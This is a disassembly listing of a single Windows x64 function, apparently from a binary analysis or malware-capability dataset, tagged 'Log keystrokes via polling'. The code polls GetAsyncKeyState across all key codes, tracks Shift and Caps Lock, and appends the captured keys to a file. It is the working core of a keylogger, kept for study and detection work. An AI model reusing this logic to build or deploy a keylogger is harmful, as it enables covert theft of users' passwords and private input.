Function at 0x140001d30
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xd0]
sub rsp, 0x1d0
mov rax, qword [0x140008010]
xor rax, rsp
mov qword [rbp + 0xc0], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xor r12d, r12d
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x78], 0xf
mov byte [rsp + 0x70], r12b
lea r13, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov edi, 8
mov ecx, edi
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
cmp ax, 0x8001
jne 0x14000200f
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx ebx, ax
shr ebx, 0xf
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
and al, 1
and bl, 1
jne 0x140001dce
test al, al
jne 0x140001dce
xor r8b, r8b
jmp 0x140001dd1
mov r8b, 1
mov edx, edi
lea rcx, [rsp + 0x50]
call fcn.140001290
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x60], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140001e38
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001e33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002063
call fcn.140003acc
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x68], 0xf
mov byte [rsp + 0x50], 0
lea r9, [rbp - 0x70]
mov rsi, qword [rbp - 0x70]
mov r15, qword [rbp - 0x58]
cmp r15, 0x10
cmovae r9, rsi
mov rcx, qword [rbp - 0x80]
mov rdx, qword [rbp - 0x78]
mov rax, rdx
sub rax, rcx
mov r14, qword [rbp - 0x60]
cmp r14, rax
ja 0x140001ea5
lea rax, [rcx + r14]
mov qword [rbp - 0x80], rax
lea rbx, [rsp + 0x70]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x70]
add rbx, rcx
mov r8, r14
mov rdx, r9
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [r14 + rbx], 0
jmp 0x140001ebf
mov qword [rsp + 0x20], r14
mov rdx, r14
lea rcx, [rsp + 0x70]
call fcn.140003860
mov r15, qword [rbp - 0x58]
mov rsi, qword [rbp - 0x70]
cmp qword [rbp - 0x80], 2
jb 0x140001fdc
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 3
mov qword [rsp + 0x48], 0xf
movzx eax, word [0x140005584]
mov word [rsp + 0x30], ax
movzx eax, byte [0x140005586]
mov byte [rsp + 0x32], al
mov byte [rsp + 0x33], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x50]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x50]
call fcn.1400030b0
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x50], r13
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x54], edx
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 0x10
cmovae rdx, qword [rsp + 0x70]
mov r8, qword [rbp - 0x80]
lea rcx, [rbp - 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x48]
call fcn.140003000
test rax, rax
jne 0x140001f87
mov rax, qword [rbp - 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x50]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp - 0x50]
call fcn.140001c70
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x140001fce
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001fc9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000206a
call fcn.140003acc
xor r8d, r8d
lea rcx, [rsp + 0x70]
call fcn.1400032a0
nop
cmp r15, 0x10
jb 0x14000200f
lea rdx, [r15 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140002007
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002071
mov rcx, rsi
call fcn.140003acc
cmp edi, 0xff
jge 0x140001d8b
inc edi
cmp edi, 0xff
jle 0x140001d90
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x14000207d
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002078
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002078
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140003acc
xor eax, eax
mov rcx, qword [rbp + 0xc0]
xor rcx, rsp
call fcn.140003a70
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret